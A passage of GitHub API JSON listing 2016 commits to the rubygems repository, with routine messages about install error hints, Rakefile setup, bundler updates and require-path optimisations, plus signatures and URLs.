0.11\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/49388864942cc72e4e2b01e56c326ba26f9729e7","html_url":"https://github.com/rubygems/rubygems/commit/49388864942cc72e4e2b01e56c326ba26f9729e7","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/49388864942cc72e4e2b01e56c326ba26f9729e7/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"6599b57abdc8f78a5e24de4ef946aeb2914ccec4","url":"https://api.github.com/repos/rubygems/rubygems/commits/6599b57abdc8f78a5e24de4ef946aeb2914ccec4","html_url":"https://github.com/rubygems/rubygems/commit/6599b57abdc8f78a5e24de4ef946aeb2914ccec4"}]},{"sha":"cb7f29d003f44440dd66878eb15161bd00fd3dfa","node_id":"MDY6Q29tbWl0NjE0MDcwOmNiN2YyOWQwMDNmNDQ0NDBkZDY2ODc4ZWIxNTE2MWJkMDBmZDNkZmE=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-08-25T17:46:28Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-08-25T17:46:28Z"},"message":"Add a helpful suggestion when `gem install` fails due to required_ruby{gems,}_version","tree":{"sha":"5a8d3cac7c8fbcb48a08189fdf665aa677b04e2c","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/5a8d3cac7c8fbcb48a08189fdf665aa677b04e2c"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/cb7f29d003f44440dd66878eb15161bd00fd3dfa","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJXvy70AAoJEAEZW7MV3ahWwaQP/i9qaarLH0ie5IBukf6XBToN\nH38iQmHD9H+G2SL0vQHRyQB/ss9L+bPZa/DDrN33FA4FZXeGBqYJaugqLa/hujCY\n+oFiInAo0JlH9Ndowu9LGqUblukF/F9GfA08H17zziirAB2AXAgpPPLtS5JayK2W\nUESKvBkloBP7iP9oS7u/DGrK8uF22oszwrugyayTS4ynu2udL4IJrMEFm54BxmZm\nF3hs5U08UejdLNRi7fuXZCX+Lrx51H6/GaKCs7Q7+bkbXKxy1G5pJRE+A2pRggCG\nDL4rgH+yCejA0T1FeZGU9XUXp/SW+ye5t/u6gn/ChPe5GOJkeYES8+YtZCVs5It3\nqa3NHvTacYnLCmFS6in3F0LVBryK0ElcAvdtWIj9Pfia0Jw179rpvxC61GIF6jax\nBnxJMCeqUYkvzdynyXnJAwNY6UHqaL9E95ZfNpe0NMYmpz+VoRpLyBB78Ef/F/eC\nPzTkhEsIX20W1X3LP2oMcn0sn0IMBNW/nByyQTncuqdbzOxTkra8D/7Z/JCeXIMS\nYzYnQA3Y1L3ed0Y8ObzVH/JnBSSbTZzYa8hWYHXGZ7dRGMe3qimCRDt6y2gIXO6f\nJduFJwJ+m6Nb1ck/43oBDxO3LH8kyCDfqDdV74IlvZsAVB5kL64ireUbT5E9TR2M\nyxUlQRsq+gUUw/nsO79V\n=gY6/\n-----END PGP SIGNATURE-----","payload":"tree 5a8d3cac7c8fbcb48a08189fdf665aa677b04e2c\nparent 0a99e91ebd010ddf13bdcaaf569ce07d3b826ad9\nauthor Samuel Giddins 1472147188 -0500\ncommitter Samuel Giddins 1472147188 -0500\n\nAdd a helpful suggestion when `gem install` fails due to required_ruby{gems,}_version\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/cb7f29d003f44440dd66878eb15161bd00fd3dfa","html_url":"https://github.com/rubygems/rubygems/commit/cb7f29d003f44440dd66878eb15161bd00fd3dfa","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/cb7f29d003f44440dd66878eb15161bd00fd3dfa/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"0a99e91ebd010ddf13bdcaaf569ce07d3b826ad9","url":"https://api.github.com/repos/rubygems/rubygems/commits/0a99e91ebd010ddf13bdcaaf569ce07d3b826ad9","html_url":"https://github.com/rubygems/rubygems/commit/0a99e91ebd010ddf13bdcaaf569ce07d3b826ad9"}]},{"sha":"b41a2c184028326d39a4952c9a566c0332b67a6c","node_id":"MDY6Q29tbWl0NjE0MDcwOmI0MWEyYzE4NDAyODMyNmQzOWE0OTUyYzlhNTY2YzAzMzJiNjdhNmM=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-08-24T17:08:45Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-08-24T17:08:45Z"},"message":"[Rakefile] Run `git submodule update --init` in `rake newb`","tree":{"sha":"d7ce67efeafba4e1e490605bb37225624c93e239","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/d7ce67efeafba4e1e490605bb37225624c93e239"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/b41a2c184028326d39a4952c9a566c0332b67a6c","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJXvdSdAAoJEAEZW7MV3ahWSesP/13IRU3RsoE0aHUVcc6Gwtsh\nBGaXlG8b2GUShvHS/Z4fXXOaD1djVa6FN5lYQNH/CZxYULVtU3tWTYEwjKFwg8JW\nRlKgckhw4bbUJCRgaXggpYndY2/cY2EwLUEGnp1ErtCI0vhX4HGEN7zzW1+m1BlR\n00Tk8qj44d8LJtILZnhibnz8KZo45BVc4rHU65lUrWzigofU6164x4w7a5zaKjmA\npfW6VBCE0j364+x8xyxhDsx1SIElA0/91N3nsliHJ4ffi3KlpMfwKxfv5jPjOVyi\n6+TQKATCp9VN4OJWfDZlb413kh8t7vf/npbgromXcwACHcfITsPokCDAXWcV6LTi\novBQTuW8OXag7zi7Er3h7887VqyOWDqZTCgVrnPN3LJSNga2A7YNa2mZ4mI6bEMe\nFP/8mxzoVVfflIpPZTa2F7Krcxkurg+P1tKz/ID08beuLeAeScUDsEN+VUQQj0/z\nF6EGRK9ndjQcCVoujSaWwb3mdKmXmFOtPmXFhyzrqyJDjzMQbZqT3hohObkbdQ2+\ntOAuiv+CguXx3D6sF+/kW33BwI5j9lPdhRvX51IwyRDF2bIVssWLzovmz6r5WvAn\n3xnEXZx0ktUhSPSAtXQy79j7ZOgadAvKdTg7k1AGhmHkulic4vOh1TmbMhbtPyg6\nTB34d5HTbCywr4fCJuka\n=gotZ\n-----END PGP SIGNATURE-----","payload":"tree d7ce67efeafba4e1e490605bb37225624c93e239\nparent ba332a8e32438df6fa48bb839b4ead2bffd7d42f\nauthor Samuel Giddins 1472058525 -0500\ncommitter Samuel Giddins 1472058525 -0500\n\n[Rakefile] Run `git submodule update --init` in `rake newb`\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/b41a2c184028326d39a4952c9a566c0332b67a6c","html_url":"https://github.com/rubygems/rubygems/commit/b41a2c184028326d39a4952c9a566c0332b67a6c","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/b41a2c184028326d39a4952c9a566c0332b67a6c/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"ba332a8e32438df6fa48bb839b4ead2bffd7d42f","url":"https://api.github.com/repos/rubygems/rubygems/commits/ba332a8e32438df6fa48bb839b4ead2bffd7d42f","html_url":"https://github.com/rubygems/rubygems/commit/ba332a8e32438df6fa48bb839b4ead2bffd7d42f"}]},{"sha":"9a24eeb2c61ec5c4200222f284e5bbe64d8c4fce","node_id":"MDY6Q29tbWl0NjE0MDcwOjlhMjRlZWIyYzYxZWM1YzQyMDAyMjJmMjg0ZTViYmU2NGQ4YzRmY2U=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-08-16T20:10:34Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-08-16T21:41:18Z"},"message":"Update bundler to account for spec updates with rails 3.2.2","tree":{"sha":"9c427416e790a9c67e4931ee984321547e46d8f5","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/9c427416e790a9c67e4931ee984321547e46d8f5"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/9a24eeb2c61ec5c4200222f284e5bbe64d8c4fce","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJXs4h+AAoJEAEZW7MV3ahWhtYQAIFy021NFIn5nvmX2gfiy+if\ndSM/BlL+Sf0+YEv9uB+AimeO1m4F1xbotm2NCMC1P3MuhLITijtPsR78Ak+J787e\n2bCmQDMO/JL7CadM1MngqyawiFwSClvePnZNet80ttm3GGM7EuZ8RvjjLUT0dOep\n3JOBmlJQfc0uLxRn37sT2MDO0GSvurOzD3vjTL/1rBaJH2PFyUEL6rFv28vNBLd1\nTk07LPcSSku1rk2p7P6vbSDB2LbkIKTnCgVtkXQf7xcBDSqqqgKCAnvfIkTvaEEi\nGZQXUM+BS0Qp4HSGKkeV9a6T9EOP2sG+Saog7T3InKPcQqgaUDk1vMKNl+LD+WQx\nUipAozNmWEeyeD1Ids2PwoN7x3cTbf/zV6doRWvtA+4mPyUEXnCm77Y71lU3nmj3\nevhEYHfqkB8L5ZNMNxMStS4xfsl2kUftaMXF+iPTDUHpdvUtptw8c8oXVGiQONeb\nXhsCXwREZK1o5GCWg+BgVMrtLBhWh5hyOSxxb9vtu/ulL17IIIhTBdAVie2nF6sK\n8A4VjfGv7dayNtRp1Zv1+JRxxdLVK658HnxFCERofdLRwljcIwS5oCfyHKXCRxLX\nWo8ZxHJYY/BOOU7g0FhGpXQlT56dV5X5K3H0mwFyzado2zy2M0MtFkyxxtRxeWJ1\niIlhe0vtMAZ2p2kudfLJ\n=paL4\n-----END PGP SIGNATURE-----","payload":"tree 9c427416e790a9c67e4931ee984321547e46d8f5\nparent 4320056e9a6277a28649bbdd5d8d8ddf26ed3cee\nauthor Samuel Giddins 1471378234 -0500\ncommitter Samuel Giddins 1471383678 -0500\n\nUpdate bundler to account for spec updates with rails 3.2.2\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/9a24eeb2c61ec5c4200222f284e5bbe64d8c4fce","html_url":"https://github.com/rubygems/rubygems/commit/9a24eeb2c61ec5c4200222f284e5bbe64d8c4fce","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/9a24eeb2c61ec5c4200222f284e5bbe64d8c4fce/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"4320056e9a6277a28649bbdd5d8d8ddf26ed3cee","url":"https://api.github.com/repos/rubygems/rubygems/commits/4320056e9a6277a28649bbdd5d8d8ddf26ed3cee","html_url":"https://github.com/rubygems/rubygems/commit/4320056e9a6277a28649bbdd5d8d8ddf26ed3cee"}]},{"sha":"cd9a45c7095b213d721edd6a11af8454f6293305","node_id":"MDY6Q29tbWl0NjE0MDcwOmNkOWE0NWM3MDk1YjIxM2Q3MjFlZGQ2YTExYWY4NDU0ZjYyOTMzMDU=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-07-31T00:32:44Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-07-31T00:32:44Z"},"message":"[Require] Use find instead of reject.first","tree":{"sha":"e46c2b08d98d4c159daee671cf17815dfa31a5fe","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/e46c2b08d98d4c159daee671cf17815dfa31a5fe"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/cd9a45c7095b213d721edd6a11af8454f6293305","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJXnUcsAAoJEAEZW7MV3ahWurgP/iyFwGViqoPkcb9vLXspIKXo\nuYnAZfQgf+4uCCswXPmBcx2C2NhH9mKNXi/qVVWXt8v8KqyPGoDW+zuzR7eJhjZk\nqBdQ6wE7/uTlEw5JXWhC/QgCjMKwt+Xl+c5DTixJ+LZWXNPlSQSB6QZmLi9QmNnf\nJCkwp3CM+Ut9minYAnwY0DDz2pvJTgRIT48VUiH4krFlYOMVWRjXrcAlZJEmzG7n\nkcwkqXSkwuZqS3TQhNpKMCSzUr2PatSoU7c2Kpq71lsW9ragJfVwQFHnDIYoIBVr\nqIyRJ2tSwbUOHxgbbK8qkNwfHLsi6mdgjApE2hmdVTbq65ZCJcycB+aaEj9mTUUm\nrNScUMIx6OFbFi414j+ACyQ+xVh7L3GuC9fY4gycqUCkq7v3ksC3fS+PgDpAEs5y\nx75hKsUjdwTjo+TYbzYvPbf6otwgj/AiHVoXnmOCfhReCmPWeuUChKBshJIxqbKw\nvxAdwk7tsuW61PGVR58snmlkVzsm9A/PoA65YtkdGKzhiyjU4VllXeRMo6Rr603V\nJddkw1/9Gj/IiRRe6wzNpenEYG2nDVPm++1YmvoECRAKDdih5tfTxAEmrcPutLBp\nc16lhL0pWDHLMO18MLBxZom5KygHvWXKUGB3pkIg5GPW2teUuPD1G01tAl560G2J\nWXzUHe0lmVoS7z/MFOoF\n=XVsw\n-----END PGP SIGNATURE-----","payload":"tree e46c2b08d98d4c159daee671cf17815dfa31a5fe\nparent 3d5b2929429c96790032886abf18da56a34e69be\nauthor Samuel Giddins 1469925164 -0700\ncommitter Samuel Giddins 1469925164 -0700\n\n[Require] Use find instead of reject.first\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/cd9a45c7095b213d721edd6a11af8454f6293305","html_url":"https://github.com/rubygems/rubygems/commit/cd9a45c7095b213d721edd6a11af8454f6293305","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/cd9a45c7095b213d721edd6a11af8454f6293305/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"3d5b2929429c96790032886abf18da56a34e69be","url":"https://api.github.com/repos/rubygems/rubygems/commits/3d5b2929429c96790032886abf18da56a34e69be","html_url":"https://github.com/rubygems/rubygems/commit/3d5b2929429c96790032886abf18da56a34e69be"}]},{"sha":"3d5b2929429c96790032886abf18da56a34e69be","node_id":"MDY6Q29tbWl0NjE0MDcwOjNkNWIyOTI5NDI5Yzk2NzkwMDMyODg2YWJmMThkYTU2YTM0ZTY5YmU=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-07-31T00:32:18Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-07-31T00:32:18Z"},"message":"[RubyGems] Account for suffixes when registering default specs\n\nThis removes the need to loop over Gem.suffixes on every single require","tree":{"sha":"f7ff245c569d5acc0d507e19e1d2e4c0a30b2c1d","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/f7ff245c569d5acc0d507e19e1d2e4c0a30b2c1d"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/3d5b2929429c96790032886abf18da56a34e69be","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJXnUcSAAoJEAEZW7MV3ahWCkgP/jOXxhnEYnmWfZyZNUIfQef7\nV24pwo/TWNP89nzbrgH6HwNe3bNR+64eXXVpfosJJLsqpJj2dSGm+jN50WJs5KVh\nHcDYDXD9kmN3jiUADBjrTUsqwxhqZoVYZZiDvkPWnvpxIRhAnffdc6Yo6XyfBlRj\nUavl8QtaW6R7AAmo+BAikfArvkFfZP+soXBnRE0Ggk2gaTgA9sKKp6qF8IG99b1g\nfwwCopcINMybb1+jB05Jsx5UEof7ziEm54IcmzZI5xPGVwf/qdUFHnIyxr1eOeXH\nnP9+frmY3sGqemMKDsdax6G1itC9u81zL1Neh0/WiQu0B+SE5BHcjSu7EwHdyMsq\n9IETu68RxW8lrkNiPV7xbWESEjJIRcYNs0OziDAmhrLUzU3cVgdR7ofZTrDkQAM8\nSRUtelyWqwRs0UXaub8Qcw02tmJL9ubbG40nfPw7pJ/NqS4aAsp860oFBbkHCETY\n6wk+BrgchKw8ATKHxdvrjHJ3qkquliHWh9tJopS2y78SDFatVufRrkra/1mARa7X\nZlNsSsOxLaomM3a35+V/Ry3rGz2SeQmjUw96tq8hWiLoPwOiv9mSTH3Gy2QaXLvK\nGX1n9XL2ppC+a67ha67Zj6TC7WI/jkn6ZrPNd4WjDOvwPx5J1Uqw2jLOs5mE/2Pj\nsgsIKOyl6flpgdVYGnl0\n=5pAk\n-----END PGP SIGNATURE-----","payload":"tree f7ff245c569d5acc0d507e19e1d2e4c0a30b2c1d\nparent a529cf50c7f0df159bc33f1ec34cb8f7ae9a81d7\nauthor Samuel Giddins 1469925138 -0700\ncommitter Samuel Giddins 1469925138 -0700\n\n[RubyGems] Account for suffixes when registering default specs\n\nThis removes the need to loop over Gem.suffixes on every single require\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/3d5b2929429c96790032886abf18da56a34e69be","html_url":"https://github.com/rubygems/rubygems/commit/3d5b2929429c96790032886abf18da56a34e69be","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/3d5b2929429c96790032886abf18da56a34e69be/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"a529cf50c7f0df159bc33f1ec34cb8f7ae9a81d7","url":"https://api.github.com/repos/rubygems/rubygems/commits/a529cf50c7f0df159bc33f1ec34cb8f7ae9a81d7","html_url":"https://github.com/rubygems/rubygems/commit/a529cf50c7f0df159bc33f1ec34cb8f7ae9a81d7"}]},{"sha":"a529cf50c7f0df159bc33f1ec34cb8f7ae9a81d7","node_id":"MDY6Q29tbWl0NjE0MDcwOmE1MjljZjUwYzdmMGRmMTU5YmMzM2YxZWMzNGNiOGY3YWU5YTgxZDc=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-07-31T00:31:09Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-07-31T00:31:09Z"},"message":"[RubyGems] Autoload Util","tree":{"sha":"adefd0313c9b515948a16c4fb73b45bfd94fb6d0","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/adefd0313c9b515948a16c4fb73b45bfd94fb6d0"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/a529cf50c7f0df159bc33f1ec34cb8f7ae9a81d7","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJXnUbNAAoJEAEZW7MV3ahWwTEP/0458flWpA3zZis520YS8OCU\nhLjXROgagINEMXKJBTV8IkWCh58wGd/4UOSFNHjT6foVkfbfD2WIOyTmb0jR+uqO\nY+MSr0qTshE+a26f81be8+RmlUAqo1sH/Iqh6sw6atQROBKA3P/YtMOBb+MmjoAA\npmsLFIloNBdGtzfYNveYVc6CJlZrf0JTRxeMHKI8mTfyhhGI4peMEcUeOf1YlFPb\n+vHPVXaSuDsXC/yGSoo9iNTc6lzUJSxEa6I7SjJ3g/SVSq9IkgJ9eV5WLAcrtfyh\n/KNjXwP4MsaEmr5IN/6cqt3ZTSbjE25TL4oL4duaH/jGAMXH2vF8nxhmfg8PfhbH\nsxhPhtyqpBfGJKkCKH7CRhn3zmE8Tp1I9JzCgcbot9J8TE0aQafmMScJyGvgIKzW\nN1h+50dsM8EA/M83G3DnZBDw3YinBqIA22VfxHYwjSWdiAJpyUeiliwCGQRaSRTl\nCE3+FUwZJzwPVUxSW2rQRvVpmVQh/gANyClsVNwqFuCvNa7RGBCgZqwfvTa5uJv5\nKxjmDi3EvdyNPiIYlLc3H/yq7syQVeA/0znV6A/w7MYbMn7nC0dnXZ1YE/ki9t/E\nt6ySzDXRX0/o8Ywexcvu/EIQYZJnbvYgQj5+AGH1Gp2jJe0bMenMxEZ9ozIQSFDx\nCfOjHdedsmerKiTMFojY\n=yexD\n-----END PGP SIGNATURE-----","payload":"tree adefd0313c9b515948a16c4fb73b45bfd94fb6d0\nparent 0b6befedc9ef63b20d4264de081fca5a6d8ac018\nauthor Samuel Giddins 1469925069 -0700\ncommitter Samuel Giddins 1469925069 -0700\n\n[RubyGems] Autoload 